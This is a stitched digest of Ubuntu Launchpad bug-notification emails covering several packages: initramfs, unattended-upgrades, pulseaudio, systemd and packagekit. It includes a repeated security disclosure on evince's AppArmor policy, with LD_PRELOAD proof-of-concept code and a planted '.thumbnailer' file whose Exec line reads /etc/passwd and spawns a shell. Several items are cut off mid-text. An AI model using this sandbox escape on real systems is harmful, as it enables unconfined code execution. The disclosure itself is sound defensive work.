Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu.
https://bugs.launchpad.net/bugs/1795678
Title:
package linux-image-4.15.0-36-generic 4.15.0-36.39 failed to
install/upgrade: run-parts: /etc/kernel/postinst.d/initramfs-tools
exited with return code 1
Status in initramfs-tools package in Ubuntu:
New
Bug description:
Since upgrading from Lubuntu 16.04 LTS to Lubuntu 18.04 LTS
When Using Software Updater (either automatic notification or triggering
through the GUI menus)
I am getting "The installation or removal of a software package failed."
error almost every day (more often than not)
This is the first time I have been prompted to submit a bug report
ProblemType: Package
DistroRelease: Ubuntu 18.04
Package: linux-image-4.15.0-36-generic 4.15.0-36.39
ProcVersionSignature: Ubuntu 4.15.0-34.37-generic 4.15.18
Uname: Linux 4.15.0-34-generic x86_64
AlsaVersion: Advanced Linux Sound Architecture Driver Version
k4.15.0-34-generic.
ApportVersion: 2.20.9-0ubuntu7.4
Architecture: amd64
ArecordDevices:
List of CAPTURE Hardware Devices
card 0: PCH [HDA Intel PCH], device 0: ALC295 Analog [ALC295 Analog]
Subdevices: 1/1
Subdevice #0: subdevice #0
AudioDevicesInUse:
USERPID ACCESS COMMAND
/dev/snd/controlC0: david 1742 F pulseaudio
Card0.Amixer.info:
Card hw:0 'PCH'/'HDA Intel PCH at 0xb1328000 irq 134'
Mixer name : 'Realtek ALC295'
Components : 'HDA:10ec0295,103c83f8,0012
HDA:8086280b,80860101,0010'
Controls :
[Touch-packages] [Bug 1795692] [NEW] /usr/bin/unattended-upgrade:FileNotFoundError:/usr/bin/unattended-upgrade@1991:main:get_dpkg_log_content
Public bug reported: The Ubuntu Error Tracker has been receiving reports about a problem regarding unattended-upgrades. This problem was most recently seen with package version 1.1ubuntu1.18.04.5, the problem page at https://errors.ubuntu.com/problem/4c8953d6660713d8a064a29a86521b16d67e07ec contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. ** Affects: unattended-upgrades (Ubuntu) Importance: Undecided Status: New ** Tags: bionic -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unattended-upgrades in Ubuntu. https://bugs.launchpad.net/bugs/1795692 Title: /usr/bin/unattended-upgrade:FileNotFoundError:/usr/bin/unattended- upgrade@1991:main:get_dpkg_log_content Status in unattended-upgrades package in Ubuntu: New Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding unattended-upgrades. This problem was most recently seen with package version 1.1ubuntu1.18.04.5, the problem page at https://errors.ubuntu.com/problem/4c8953d6660713d8a064a29a86521b16d67e07ec contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/unattended-upgrades/+bug/1795692/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1788929] Re: Debian/Ubuntu AppArmor policy gaps in evince
I referenced the wrong bug in the evince upload so it didn't auto-close,
but 3.30.0-3ubuntu1 should address this.
** Changed in: evince (Ubuntu Cosmic)
Status: Fix Committed => Fix Released
** Changed in: evince (Ubuntu Trusty)
Status: Triaged => In Progress
** Changed in: evince (Ubuntu Xenial)
Status: Triaged => In Progress
** Changed in: evince (Ubuntu Bionic)
Status: Triaged => In Progress
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1788929
Title:
Debian/Ubuntu AppArmor policy gaps in evince
Status in AppArmor:
Fix Released
Status in apparmor package in Ubuntu:
Fix Released
Status in evince package in Ubuntu:
Fix Released
Status in apparmor source package in Trusty:
Fix Committed
Status in evince source package in Trusty:
In Progress
Status in apparmor source package in Xenial:
Fix Committed
Status in evince source package in Xenial:
In Progress
Status in apparmor source package in Bionic:
Fix Committed
Status in evince source package in Bionic:
In Progress
Status in apparmor source package in Cosmic:
Fix Released
Status in evince source package in Cosmic:
Fix Released
Bug description:
[Note on coordination: I'm reporting this as a security bug to both Ubuntu
(because Ubuntu is where this policy originally comes from, and Ubuntu is also
where AppArmor is most relevant) and Debian (because the AppArmor policy has
been merged into Debian's version of the package). It isn't clear to me who
really counts as upstream here...]
Debian/Ubuntu ship with an AppArmor policy for evince, which, among other
things, restricts evince-thumbnailer. The Ubuntu security team seems to
incorrectly believe that this policy provides meaningful security isolation:
https://twitter.com/alex_murray/status/1032780425834446849
https://twitter.com/alex_murray/status/1032796879640190976
This AppArmor policy seems to be designed to permit everything that
evince-thumbnailer might need; however, it does not seem to be designed to
establish a consistent security boundary around evince-thumbnailer.
For example, read+write access to almost the entire home directory is granted:
/usr/bin/evince-thumbnailer {
[...]
# Lenient, but remember we still have abstractions/private-files-strict in
# effect).
@{HOME}/ r,
owner @{HOME}/** rw,
owner /media/** rw,
}
As the comment notes, a couple files are excluded to prevent you from just
overwriting well-known executable scripts in the user's home directory, like
~/.bashrc:
[...]
# don't allow reading/updating of run control files
deny @{HOME}/.*rc mrk,
audit deny @{HOME}/.*rc wl,
# bash
deny @{HOME}/.bash* mrk,
audit deny @{HOME}/.bash* wl,
deny @{HOME}/.inputrc mrk,
audit deny @{HOME}/.inputrc wl,
[...]
Verification:
user@ubuntu-18-04-vm:~$ cat preload2.c
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
__attribute__((constructor)) static void entry(void) {
printf("constructor running from %s\n", program_invocation_name);
int fd = open("/home/user/.bashrc", O_WRONLY);
if (fd != -1) {
printf("success\n");
} else {
perror("open .bashrc");
}
exit(0);
}
user@ubuntu-18-04-vm:~$ sudo gcc -shared -o
/usr/lib/x86_64-linux-gnu/libevil_preload.so preload2.c -fPIC
user@ubuntu-18-04-vm:~$
LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libevil_preload.so evince-thumbnailer
constructor running from evince-thumbnailer
open .bashrc: Permission denied
user@ubuntu-18-04-vm:~$ dmesg|tail -n1
[ 6900.355399] audit: type=1400 audit(1535126396.280:113): apparmor="DENIED"
operation="open" profile="/usr/bin/evince-thumbnailer"
name="/home/user/.bashrc" pid=4807 comm="evince-thumbnai" requested_mask="w"
denied_mask="w" fsuid=1000 ouid=1000
But of course blacklists are brittle and often trivially bypassable. For
example, did you know that it is possible to override the system's
thumbnailers
by dropping .thumbnailer files in ~/.local/share/ ? .thumbnailer files contain
command lines that will be executed by nautilus. To demonstrate that it is
possible to create .thumbnailer files from evince-thumbnailer:
user@ubuntu-18-04-vm:~$ ls -la .local/share/thumbnailers/
ls: cannot access '.local/share/thumbnailers/': No such file or directory
user@ubuntu-18-04-vm:~$ cat preload3.c
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
__attribute__((constructor)) static void entry(void) {
printf("constructor running from %s\n", program_invocation_name);
if (mkdir("/home/user/.local/share/thumbnailers", 0777) && errno != EEXIST)
err(1, "mkdir");
FILE *f = fopen("/home/user/.local/share/thumbnailers/evil.thumbnailer",
[Touch-packages] [Bug 1775068] CRDA.txt
apport information ** Attachment added: "CRDA.txt" https://bugs.launchpad.net/bugs/1775068/+attachment/5195918/+files/CRDA.txt -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1775068 Title: Volume control not working Dell XPS 27 (7760) Status in linux package in Ubuntu: Confirmed Status in pulseaudio package in Ubuntu: New Bug description: Pressing vol up/vol down show OSD change up/down but volume all time is at 100%. I found temporary fix: Add section: [Element Master] switch = mute volume = ignore To: /usr/share/pulseaudio/alsa-mixer/paths/analog-output.conf.common --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1610 F pulseaudio /dev/snd/controlC1: trolinka 1610 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (121 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 4.15.0-34.37-generic 4.15.18 Tags: bionic Uname: Linux 4.15.0-34-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. --- --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1846 F pulseaudio /dev/snd/controlC1: trolinka 1846 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (122 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: Dell Inc. XPS 7760 AIO Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-36-generic root=UUID=3df8d974-f6bb-455e-a7a6-a7099388ad54 ro quiet splash vt.handoff=1 ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 RelatedPackageVersions: linux-restricted-modules-4.15.0-36-generic N/A linux-backports-modules-4.15.0-36-generic N/A linux-firmware 1.173.1 Tags: bionic Uname: Linux 4.15.0-36-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1775068/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1775068] Re: Volume control not working Dell XPS 27 (7760)
apport information ** Description changed: Pressing vol up/vol down show OSD change up/down but volume all time is at 100%. I found temporary fix: Add section: [Element Master] switch = mute volume = ignore To: /usr/share/pulseaudio/alsa-mixer/paths/analog-output.conf.common --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1610 F pulseaudio /dev/snd/controlC1: trolinka 1610 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (121 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 4.15.0-34.37-generic 4.15.18 Tags: bionic Uname: Linux 4.15.0-34-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. --- + --- + ProblemType: Bug + ApportVersion: 2.20.9-0ubuntu7.4 + Architecture: amd64 + AudioDevicesInUse: + USERPID ACCESS COMMAND + /dev/snd/controlC0: trolinka 1846 F pulseaudio + /dev/snd/controlC1: trolinka 1846 F pulseaudio + CurrentDesktop: MATE + DistroRelease: Ubuntu 18.04 + InstallationDate: Installed on 2018-06-02 (122 days ago) + InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) + MachineType: Dell Inc. XPS 7760 AIO + Package: pulseaudio 1:11.1-1ubuntu7.1 + PackageArchitecture: amd64 + ProcFB: 0 amdgpudrmfb + ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-36-generic root=UUID=3df8d974-f6bb-455e-a7a6-a7099388ad54 ro quiet splash vt.handoff=1 + ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 + RelatedPackageVersions: + linux-restricted-modules-4.15.0-36-generic N/A + linux-backports-modules-4.15.0-36-generic N/A + linux-firmware 1.173.1 + Tags: bionic + Uname: Linux 4.15.0-36-generic x86_64 + UpgradeStatus: No upgrade log present (probably fresh install) + UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video + _MarkForUpload: True + dmi.bios.date: 07/13/2018 + dmi.bios.vendor: Dell Inc. + dmi.bios.version: 2.4.0 + dmi.board.name: 0T12MX + dmi.board.vendor: Dell Inc. + dmi.board.version: A00 + dmi.chassis.type: 13 + dmi.chassis.vendor: Dell Inc. + dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: + dmi.product.family: XPS + dmi.product.name: XPS 7760 AIO + dmi.sys.vendor: Dell Inc. ** Attachment added: "AlsaInfo.txt" https://bugs.launchpad.net/bugs/1775068/+attachment/5195917/+files/AlsaInfo.txt -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1775068 Title: Volume control not working Dell XPS 27 (7760) Status in linux package in Ubuntu: Confirmed Status in pulseaudio package in Ubuntu: New Bug description: Pressing vol up/vol down show OSD change up/down but volume all time is at 100%. I found temporary fix: Add section: [Element Master] switch = mute volume = ignore To: /usr/share/pulseaudio/alsa-mixer/paths/analog-output.conf.common --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1610 F pulseaudio /dev/snd/controlC1: trolinka 1610 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (121 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 4.15.0-34.37-generic 4.15.18 Tags: bionic Uname: Linux 4.15.0-34-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias:
[Touch-packages] [Bug 1795658] Re: xenial systemd reports 'inactive' instead of 'failed' for service units that repeatedly failed to restart / failed permanently
** Changed in: systemd (Ubuntu) Status: In Progress => Invalid ** Changed in: systemd (Ubuntu) Assignee: Mauricio Faria de Oliveira (mfo) => (unassigned) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1795658 Title: xenial systemd reports 'inactive' instead of 'failed' for service units that repeatedly failed to restart / failed permanently Status in systemd package in Ubuntu: Invalid Status in systemd source package in Xenial: Triaged Bug description: [Impact] * In case a service unit has repeatedly failed to restart, it should be reported as 'failed' permanently, but currently it's instead reported as 'inactive'. * System monitoring tools that evaluate the status of systemd service units and act upon it (for example: restart service, report permanent failure) are currently misled by information in 'systemctl status .service'. * System management tools based on such information may take wrong and/or sub-optimal actions in the managed systems regarding such service units. * This systemd patch [1] directly addresses this issue (see systemd github PR #3166 [2]), and its code is still effectice in upstream systemd today, without further fixes/changes (the only changes were in doc text and the busname files that were removed, but still without further fixes to this). [Test Case] * This is copied from systemd PR #3166 [2]. * This has been tested by a customer as well, and with its system monitoring and management solution, for interoperability verification. $ cat
[Touch-packages] [Bug 1795658] Re: xenial systemd reports 'inactive' instead of 'failed' for service units that repeatedly failed to restart / failed permanently
Note to self, everything after xenial has this patch already. ** Also affects: systemd (Ubuntu Xenial) Importance: Undecided Status: New ** Changed in: systemd (Ubuntu Xenial) Status: New => Triaged ** Changed in: systemd (Ubuntu Xenial) Assignee: (unassigned) => Dimitri John Ledkov (xnox) ** Changed in: systemd (Ubuntu Xenial) Importance: Undecided => Medium -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1795658 Title: xenial systemd reports 'inactive' instead of 'failed' for service units that repeatedly failed to restart / failed permanently Status in systemd package in Ubuntu: In Progress Status in systemd source package in Xenial: Triaged Bug description: [Impact] * In case a service unit has repeatedly failed to restart, it should be reported as 'failed' permanently, but currently it's instead reported as 'inactive'. * System monitoring tools that evaluate the status of systemd service units and act upon it (for example: restart service, report permanent failure) are currently misled by information in 'systemctl status .service'. * System management tools based on such information may take wrong and/or sub-optimal actions in the managed systems regarding such service units. * This systemd patch [1] directly addresses this issue (see systemd github PR #3166 [2]), and its code is still effectice in upstream systemd today, without further fixes/changes (the only changes were in doc text and the busname files that were removed, but still without further fixes to this). [Test Case] * This is copied from systemd PR #3166 [2]. * This has been tested by a customer as well, and with its system monitoring and management solution, for interoperability verification. $ cat
[Touch-packages] [Bug 1788929] Re: Debian/Ubuntu AppArmor policy gaps in evince
Since it was discussed here, the bug for enabling bubblewrap for gnome-
desktop3 for bionic is LP: #1795668
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1788929
Title:
Debian/Ubuntu AppArmor policy gaps in evince
Status in AppArmor:
Fix Released
Status in apparmor package in Ubuntu:
Fix Released
Status in evince package in Ubuntu:
Fix Committed
Status in apparmor source package in Trusty:
Fix Committed
Status in evince source package in Trusty:
Triaged
Status in apparmor source package in Xenial:
Fix Committed
Status in evince source package in Xenial:
Triaged
Status in apparmor source package in Bionic:
Fix Committed
Status in evince source package in Bionic:
Triaged
Status in apparmor source package in Cosmic:
Fix Released
Status in evince source package in Cosmic:
Fix Committed
Bug description:
[Note on coordination: I'm reporting this as a security bug to both Ubuntu
(because Ubuntu is where this policy originally comes from, and Ubuntu is also
where AppArmor is most relevant) and Debian (because the AppArmor policy has
been merged into Debian's version of the package). It isn't clear to me who
really counts as upstream here...]
Debian/Ubuntu ship with an AppArmor policy for evince, which, among other
things, restricts evince-thumbnailer. The Ubuntu security team seems to
incorrectly believe that this policy provides meaningful security isolation:
https://twitter.com/alex_murray/status/1032780425834446849
https://twitter.com/alex_murray/status/1032796879640190976
This AppArmor policy seems to be designed to permit everything that
evince-thumbnailer might need; however, it does not seem to be designed to
establish a consistent security boundary around evince-thumbnailer.
For example, read+write access to almost the entire home directory is granted:
/usr/bin/evince-thumbnailer {
[...]
# Lenient, but remember we still have abstractions/private-files-strict in
# effect).
@{HOME}/ r,
owner @{HOME}/** rw,
owner /media/** rw,
}
As the comment notes, a couple files are excluded to prevent you from just
overwriting well-known executable scripts in the user's home directory, like
~/.bashrc:
[...]
# don't allow reading/updating of run control files
deny @{HOME}/.*rc mrk,
audit deny @{HOME}/.*rc wl,
# bash
deny @{HOME}/.bash* mrk,
audit deny @{HOME}/.bash* wl,
deny @{HOME}/.inputrc mrk,
audit deny @{HOME}/.inputrc wl,
[...]
Verification:
user@ubuntu-18-04-vm:~$ cat preload2.c
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
__attribute__((constructor)) static void entry(void) {
printf("constructor running from %s\n", program_invocation_name);
int fd = open("/home/user/.bashrc", O_WRONLY);
if (fd != -1) {
printf("success\n");
} else {
perror("open .bashrc");
}
exit(0);
}
user@ubuntu-18-04-vm:~$ sudo gcc -shared -o
/usr/lib/x86_64-linux-gnu/libevil_preload.so preload2.c -fPIC
user@ubuntu-18-04-vm:~$
LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libevil_preload.so evince-thumbnailer
constructor running from evince-thumbnailer
open .bashrc: Permission denied
user@ubuntu-18-04-vm:~$ dmesg|tail -n1
[ 6900.355399] audit: type=1400 audit(1535126396.280:113): apparmor="DENIED"
operation="open" profile="/usr/bin/evince-thumbnailer"
name="/home/user/.bashrc" pid=4807 comm="evince-thumbnai" requested_mask="w"
denied_mask="w" fsuid=1000 ouid=1000
But of course blacklists are brittle and often trivially bypassable. For
example, did you know that it is possible to override the system's
thumbnailers
by dropping .thumbnailer files in ~/.local/share/ ? .thumbnailer files contain
command lines that will be executed by nautilus. To demonstrate that it is
possible to create .thumbnailer files from evince-thumbnailer:
user@ubuntu-18-04-vm:~$ ls -la .local/share/thumbnailers/
ls: cannot access '.local/share/thumbnailers/': No such file or directory
user@ubuntu-18-04-vm:~$ cat preload3.c
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
__attribute__((constructor)) static void entry(void) {
printf("constructor running from %s\n", program_invocation_name);
if (mkdir("/home/user/.local/share/thumbnailers", 0777) && errno != EEXIST)
err(1, "mkdir");
FILE *f = fopen("/home/user/.local/share/thumbnailers/evil.thumbnailer",
"w");
if (!f)
err(1, "create");
fputs("[Thumbnailer Entry]\n", f);
fputs("Exec=find /etc/passwd -name passwd -exec gnome-terminal -- sh -c
id;cat
[...]
}
As a comment in abstractions/dbus-session explains:
# This abstraction grants full session bus access. Consider using the
# dbus-session-strict
[Touch-packages] [Bug 1788929] Re: Debian/Ubuntu AppArmor policy gaps in evince
Jamie, can you confirm whether cosmic is fixed for evince now with
https://launchpad.net/ubuntu/+source/evince/3.30.0-3ubuntu1 ?
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1788929
Title:
Debian/Ubuntu AppArmor policy gaps in evince
Status in AppArmor:
Fix Released
Status in apparmor package in Ubuntu:
Fix Released
Status in evince package in Ubuntu:
Fix Committed
Status in apparmor source package in Trusty:
Fix Committed
Status in evince source package in Trusty:
Triaged
Status in apparmor source package in Xenial:
Fix Committed
Status in evince source package in Xenial:
Triaged
Status in apparmor source package in Bionic:
Fix Committed
Status in evince source package in Bionic:
Triaged
Status in apparmor source package in Cosmic:
Fix Released
Status in evince source package in Cosmic:
Fix Committed
Bug description:
[Note on coordination: I'm reporting this as a security bug to both Ubuntu
(because Ubuntu is where this policy originally comes from, and Ubuntu is also
where AppArmor is most relevant) and Debian (because the AppArmor policy has
been merged into Debian's version of the package). It isn't clear to me who
really counts as upstream here...]
Debian/Ubuntu ship with an AppArmor policy for evince, which, among other
things, restricts evince-thumbnailer. The Ubuntu security team seems to
incorrectly believe that this policy provides meaningful security isolation:
https://twitter.com/alex_murray/status/1032780425834446849
https://twitter.com/alex_murray/status/1032796879640190976
This AppArmor policy seems to be designed to permit everything that
evince-thumbnailer might need; however, it does not seem to be designed to
establish a consistent security boundary around evince-thumbnailer.
For example, read+write access to almost the entire home directory is granted:
/usr/bin/evince-thumbnailer {
[...]
# Lenient, but remember we still have abstractions/private-files-strict in
# effect).
@{HOME}/ r,
owner @{HOME}/** rw,
owner /media/** rw,
}
As the comment notes, a couple files are excluded to prevent you from just
overwriting well-known executable scripts in the user's home directory, like
~/.bashrc:
[...]
# don't allow reading/updating of run control files
deny @{HOME}/.*rc mrk,
audit deny @{HOME}/.*rc wl,
# bash
deny @{HOME}/.bash* mrk,
audit deny @{HOME}/.bash* wl,
deny @{HOME}/.inputrc mrk,
audit deny @{HOME}/.inputrc wl,
[...]
Verification:
user@ubuntu-18-04-vm:~$ cat preload2.c
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
__attribute__((constructor)) static void entry(void) {
printf("constructor running from %s\n", program_invocation_name);
int fd = open("/home/user/.bashrc", O_WRONLY);
if (fd != -1) {
printf("success\n");
} else {
perror("open .bashrc");
}
exit(0);
}
user@ubuntu-18-04-vm:~$ sudo gcc -shared -o
/usr/lib/x86_64-linux-gnu/libevil_preload.so preload2.c -fPIC
user@ubuntu-18-04-vm:~$
LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libevil_preload.so evince-thumbnailer
constructor running from evince-thumbnailer
open .bashrc: Permission denied
user@ubuntu-18-04-vm:~$ dmesg|tail -n1
[ 6900.355399] audit: type=1400 audit(1535126396.280:113): apparmor="DENIED"
operation="open" profile="/usr/bin/evince-thumbnailer"
name="/home/user/.bashrc" pid=4807 comm="evince-thumbnai" requested_mask="w"
denied_mask="w" fsuid=1000 ouid=1000
But of course blacklists are brittle and often trivially bypassable. For
example, did you know that it is possible to override the system's
thumbnailers
by dropping .thumbnailer files in ~/.local/share/ ? .thumbnailer files contain
command lines that will be executed by nautilus. To demonstrate that it is
possible to create .thumbnailer files from evince-thumbnailer:
user@ubuntu-18-04-vm:~$ ls -la .local/share/thumbnailers/
ls: cannot access '.local/share/thumbnailers/': No such file or directory
user@ubuntu-18-04-vm:~$ cat preload3.c
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
__attribute__((constructor)) static void entry(void) {
printf("constructor running from %s\n", program_invocation_name);
if (mkdir("/home/user/.local/share/thumbnailers", 0777) && errno != EEXIST)
err(1, "mkdir");
FILE *f = fopen("/home/user/.local/share/thumbnailers/evil.thumbnailer",
"w");
if (!f)
err(1, "create");
fputs("[Thumbnailer Entry]\n", f);
fputs("Exec=find /etc/passwd -name passwd -exec gnome-terminal -- sh -c
id;cat
[...]
}
As a comment in abstractions/dbus-session explains:
# This abstraction grants full session bus access. Consider using the
#
[Touch-packages] [Bug 1795658] Re: xenial systemd reports 'inactive' instead of 'failed' for service units that repeatedly failed to restart / failed permanently
** Patch added: "systemd-xenial_restart-failed.debdiff" https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1795658/+attachment/5195852/+files/systemd-xenial_restart-failed.debdiff ** Changed in: systemd (Ubuntu) Assignee: (unassigned) => Mauricio Faria de Oliveira (mfo) ** Changed in: systemd (Ubuntu) Status: New => In Progress -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1795658 Title: xenial systemd reports 'inactive' instead of 'failed' for service units that repeatedly failed to restart / failed permanently Status in systemd package in Ubuntu: In Progress Bug description: [Impact] * In case a service unit has repeatedly failed to restart, it should be reported as 'failed' permanently, but currently it's instead reported as 'inactive'. * System monitoring tools that evaluate the status of systemd service units and act upon it (for example: restart service, report permanent failure) are currently misled by information in 'systemctl status .service'. * System management tools based on such information may take wrong and/or sub-optimal actions in the managed systems regarding such service units. * This systemd patch [1] directly addresses this issue (see systemd github PR #3166 [2]), and its code is still effectice in upstream systemd today, without further fixes/changes (the only changes were in doc text and the busname files that were removed, but still without further fixes to this). [Test Case] * This is copied from systemd PR #3166 [2]. * This has been tested by a customer as well, and with its system monitoring and management solution, for interoperability verification. $ cat
[Touch-packages] [Bug 1790671] Re: /usr/lib/packagekit/packagekitd:11:std::__cxx11::basic_string:AptIntf::providesCodec:backend_what_provides_thread:pk_backend_job_thread_setup:g_thread_proxy
** Description changed:
[Impact]
- pkcon what-provides and other tools querying codecs do not work, they crash
(unless you happen to be lucky with your apt cache)
+ pkcon what-provides and other tools querying codecs do not work, they crash
(unless you happen to be lucky with your apt cache). Also, cancalled
transactions crash as well, even if you're lucky with your apt cache, as the
"matcher" object is deleted twice.
+
+ There are two reasons: A duplicate delete statement in providesCodec
+ entered when cancelling the lookup, and a invalid pointer dereference in
+ there.
[Test case]
The daemon should not crash as below, but should print a useful message.
$ lxc launch -e ubuntu:bionic bbb
$ lxc exec bbb apt update
$ lxc exec bbb -- apt -y install packagekit
$ lxc exec bbb pkcon what-provides "gstreamer1.0(decoder-audio/ac3)"
[...] The daemon crashed mid-transaction!
(empty lxd container seems to be able to reproduce easily)
+ This only tests the pointer dereference, I don't have a test for the
+ duplicate. But the code is obviously correct:
+
+ for ... [
+if (m_cancel) {
+ // here used to be "delete matcher" - that's deleted
+ break;
+}
+ }
+ delete matcher;
+
+ That is, matcher is always deleted once now, and was always deleted
+ twice when cancelling before.
+
[Regression potential]
I don't think it's possible to have a regression here, given the nature of
